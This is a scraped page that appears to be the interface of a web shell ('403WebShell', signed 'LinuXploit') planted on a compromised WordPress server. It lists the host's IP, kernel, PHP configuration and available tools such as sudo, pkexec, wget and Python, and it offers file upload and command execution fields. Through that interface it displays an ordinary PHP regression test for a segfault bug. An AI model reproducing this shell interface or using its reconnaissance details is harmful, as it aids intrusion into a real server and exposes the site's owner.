WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/Zend/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/Zend/tests//bug75573.phpt
--TEST--
Bug #75573 (Segmentation fault in 7.1.12 and 7.0.26)
--FILE--
<?php

class A
{
	var $_stdObject;
	function initialize($properties = FALSE) {
		$this->_stdObject = $properties ? (object) $properties : new stdClass();
		parent::initialize();
	}
	function &__get($property)
	{
		if (isset($this->_stdObject->{$property})) {
			$retval =& $this->_stdObject->{$property};
			return $retval;
		} else {
			return NULL;
		}
	}
	function &__set($property, $value)
	{
		return $this->_stdObject->{$property} = $value;
	}
	function __isset($property_name)
	{
		return isset($this->_stdObject->{$property_name});
	}
}

class B extends A
{
	function initialize($properties = array())
	{
		parent::initialize($properties);
	}
	function &__get($property)
	{
		if (isset($this->settings) && isset($this->settings[$property])) {
			$retval =& $this->settings[$property];
			return $retval;
		} else {
			return parent::__get($property);
		}
	}
}

$b = new B();
$b->settings = [ "foo" => "bar", "name" => "abc" ];
var_dump($b->name);
var_dump($b->settings);
?>
--EXPECTF--
Warning: Creating default object from empty value in %sbug75573.php on line %d

Notice: Only variable references should be returned by reference in %sbug75573.php on line %d
string(3) "abc"
array(2) {
  ["foo"]=>
  string(3) "bar"
  ["name"]=>
  string(3) "abc"
}

Youez - 2016 - github.com/yon3zu
LinuXploit